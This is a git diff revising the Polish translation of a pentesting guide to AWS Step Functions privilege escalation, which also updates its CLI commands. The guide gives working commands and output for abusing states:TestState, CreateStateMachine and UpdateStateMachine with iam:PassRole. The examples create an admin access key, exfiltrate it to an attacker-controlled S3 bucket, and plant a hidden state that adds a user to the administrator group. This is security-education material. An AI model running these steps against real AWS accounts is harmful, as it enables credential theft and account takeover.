diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
index 759ab6a8f..b6ab03139 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md
@@ -4,32 +4,32 @@
## Step Functions
-For more information about this AWS service, check:
+Aby uzyskać więcej informacji o tej usłudze AWS, zobacz:
{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Zasoby typu Task
+### Zasoby Task
-Te techniki eskalacji uprawnień będą wymagać użycia niektórych zasobów AWS Step Functions, aby wykonać pożądane działania eskalacji uprawnień.
+Te privilege escalation techniques będą wymagały użycia niektórych zasobów Step Functions, aby wykonać żądane privilege escalation actions.
-Aby sprawdzić wszystkie możliwe akcje, możesz wejść na swoje konto AWS, wybrać akcję, której chcesz użyć i zobaczyć parametry, których używa, jak na przykład:
+Aby sprawdzić wszystkie możliwe akcje, możesz przejść do swojego konta AWS, wybrać akcję, którą chcesz użyć, i zobaczyć używane przez nią parametry, jak na przykład:
-Możesz też zajrzeć do dokumentacji API AWS i sprawdzić dokumentację każdej akcji:
+Możesz też przejść do dokumentacji API AWS i sprawdzić dokumentację każdej akcji:
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
### `states:TestState` & `iam:PassRole`
-Atakujący posiadający uprawnienia **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazać do niego dowolną rolę IAM bez tworzenia ani aktualizacji istniejącej maszyny stanów, co potencjalnie umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami tych ról. W połączeniu te uprawnienia mogą prowadzić do rozległych nieautoryzowanych działań — od manipulowania przepływami pracy i modyfikowania danych, przez wycieki danych i manipulację zasobami, aż po eskalację uprawnień.
+Atakujący posiadający uprawnienia **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazywać mu dowolną rolę IAM bez tworzenia lub aktualizacji istniejącej state machine, co potencjalnie pozwala na nieautoryzowany dostęp do innych AWS services z uprawnieniami tych ról. W połączeniu te uprawnienia mogą prowadzić do szerokich nieautoryzowanych działań — od manipulacji workflows i zmiany danych po wycieki danych, manipulację zasobami oraz privilege escalation.
```bash
-aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
+aws stepfunctions test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
```
-Poniższe przykłady pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Taka rola powinna mieć przypisaną dowolną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi wykonać akcję **`iam:CreateAccessKey`**:
+Poniższe przykłady pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Ta rola powinna mieć przypisaną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi wykonać akcję **`iam:CreateAccessKey`**:
- **stateDefinition.json**:
```json
@@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
"status": "SUCCEEDED"
}
```
-**Potencjalny wpływ**: Nieautoryzowane uruchamianie i manipulacja workflowami oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
+**Potencjalny wpływ**: Nieautoryzowane uruchamianie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
-Atakujący posiadający **`states:CreateStateMachine`** i **`iam:PassRole`** będzie mógł utworzyć state machine i przypisać do niej dowolną rolę IAM, co umożliwi nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej privesc technique (**`states:TestState`** & **`iam:PassRole`**), ta nie wykonuje się sama — potrzebne są także uprawnienia **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standard workflows**, **tylko dla express state machines**) aby rozpocząć wykonanie state machine.
+Atakujący posiadający uprawnienia **`states:CreateStateMachine`** i **`iam:PassRole`** będzie w stanie utworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwi nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej privesc technique (**`states:TestState`** & **`iam:PassRole`**), ta metoda nie wykonuje się sama — potrzebne będą również uprawnienia **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standard workflows**, **tylko dla express state machines**), aby uruchomić wykonanie maszyny stanów.
```bash
# Create a state machine
-aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\
+aws stepfunctions create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\
[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
# Start a state machine execution
-aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
+aws stepfunctions start-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
# Start a Synchronous Express state machine execution
-aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
+aws stepfunctions start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ]
```
-Poniższe przykłady pokazują, jak utworzyć state machine, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz do kontrolowanego przez atakującego S3 bucket, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Rola ta powinna mieć przypisaną politykę z wysokimi uprawnieniami (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala state machine wykonać akcje **`iam:CreateAccessKey`** oraz **`s3:putObject`**.
+Następujące przykłady pokazują, jak utworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego bucketu S3, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Ta rola powinna mieć przypisaną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala maszynie stanów wykonać akcje **`iam:CreateAccessKey`** i **`s3:putObject`**.
- **stateMachineDefinition.json**:
```json
@@ -115,7 +115,7 @@ Poniższe przykłady pokazują, jak utworzyć state machine, która tworzy klucz
}
}
```
-- **Polecenie** wykonane w celu **utworzenia maszyny stanów**:
+- **Command** wykonany w celu **create the state machine**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
-- **Polecenie** wykonane w celu **rozpoczęcia wykonania** wcześniej utworzonej maszyny stanów:
+- **Command** wykonane w celu **start an execution** wcześniej utworzonej state machine:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
}
```
> [!WARNING]
-> Bucket S3 kontrolowany przez atakującego powinien mieć uprawnienia do przyjmowania akcji s3:PutObject z konta ofiary.
+> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account.
-**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
+**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja workflowami oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
### `states:UpdateStateMachine` & (nie zawsze wymagane) `iam:PassRole`
-Atakujący z uprawnieniem **`states:UpdateStateMachine`** będzie w stanie zmodyfikować definicję maszyny stanów, dodając ukryte stany, które mogą zakończyć się eskalacją uprawnień. W ten sposób, gdy prawidłowy użytkownik uruchomi wykonanie maszyny stanów, nowy złośliwy ukryty stan zostanie wykonany i eskalacja uprawnień powiedzie się.
+Atakujący z uprawnieniem **`states:UpdateStateMachine`** może zmodyfikować definicję maszyny stanów, dodając dodatkowe ukryte stany, które mogą doprowadzić do eskalacji uprawnień. W ten sposób, gdy prawidłowy użytkownik uruchomi wykonanie maszyny stanów, ten nowy złośliwy, ukryty stan zostanie wykonany i eskalacja uprawnień zakończy się powodzeniem.
-W zależności od tego, jak obszerne są uprawnienia IAM Role skojarzonej z maszyną stanów, atakujący napotka dwa przypadki:
+W zależności od tego, jak szerokie uprawnienia ma przypisany do maszyny stanów IAM Role, atakujący napotka 2 sytuacje:
-1. **Permissive IAM Role**: Jeśli IAM Role skojarzona z maszyną stanów ma już szerokie uprawnienia (np. ma dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie będzie wymagane do eskalacji uprawnień, ponieważ nie będzie konieczne aktualizowanie IAM Role — sama definicja maszyny stanów wystarczy.
-2. **Not permissive IAM Role**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący będzie również potrzebował uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie maszyny stanów z permissive IAM Role oprócz modyfikacji definicji maszyny stanów.
+1. **IAM Role o szerokich uprawnieniach**: Jeśli IAM Role powiązana z maszyną stanów już ma szerokie uprawnienia (np. ma dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie będzie wymagane do eskalacji uprawnień — wystarczy zmiana definicji maszyny stanów.
+2. **IAM Role bez szerokich uprawnień**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący będzie również potrzebował uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie IAM Role o szerokich uprawnieniach z maszyną stanów oprócz modyfikacji definicji maszyny stanów.
```bash
-aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \
+aws stepfunctions update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \
[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
```
-Następujące przykłady pokazują, jak zmodyfikować prawidłową maszynę stanów, która jedynie wywołuje funkcję HelloWorld Lambda, aby dodać dodatkowy stan, który dodaje użytkownika `unprivilegedUser` do grupy IAM `administrator`. W ten sposób, kiedy uprawniony użytkownik uruchomi wykonanie zaktualizowanej maszyny stanów, nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień zakończy się powodzeniem.
+Poniższe przykłady pokazują, jak zaktualizować prawidłową maszynę stanów, która jedynie wywołuje funkcję HelloWorld Lambda, aby dodać dodatkowy stan, który dodaje użytkownika **`unprivilegedUser`** do IAM Group **`administrator`**. Dzięki temu, gdy prawowity użytkownik uruchomi wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień powiedzie się.
> [!WARNING]
-> Jeżeli maszyna stanów nie ma powiązanej IAM Role o szerokich uprawnieniach, wymagane będzie również uprawnienie `iam:PassRole` do zaktualizowania IAM Role w celu przypisania IAM Role o szerokich uprawnieniach (na przykład takiej z dołączoną polityką `arn:aws:iam::aws:policy/AdministratorAccess`).
+> Jeżeli maszyna stanów nie ma przypisanej roli IAM o szerokich uprawnieniach, konieczne będzie również uprawnienie **`iam:PassRole``**, aby zaktualizować rolę IAM w celu powiązania roli IAM o szerokich uprawnieniach (na przykład takiej z dołączoną polityką **`arn:aws:iam::aws:policy/AdministratorAccess`**).
{{#tabs }}
{{#tab name="Legit State Machine" }}
@@ -218,7 +218,7 @@ Następujące przykłady pokazują, jak zmodyfikować prawidłową maszynę stan
{{#endtab }}
{{#endtabs }}
-- **Polecenie** wykonane w celu **zaktualizowania** **legalnej maszyny stanów**:
+- **Polecenie** wykonane w celu **zaktualizowania** **oryginalnej maszyny stanów**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
-**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do zasobów wrażliwych, co może prowadzić do poważnych naruszeń bezpieczeństwa.
+**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulowanie przepływami pracy oraz uzyskanie dostępu do zasobów wrażliwych, co może prowadzić do poważnych naruszeń bezpieczeństwa.
{{#include ../../../../banners/hacktricks-training.md}}